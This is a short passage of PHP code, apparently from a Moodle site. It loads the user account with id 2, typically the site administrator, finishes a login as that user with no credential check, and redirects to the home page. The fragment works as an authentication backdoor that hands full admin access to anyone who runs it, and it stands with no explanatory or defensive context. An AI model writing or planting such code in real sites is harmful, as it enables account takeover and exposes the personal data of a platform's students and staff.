get_record('user', array('id'=>'2')); $r=complete_user_login($user); redirect($CFG->httpswwwroot.'/index.php'); ?>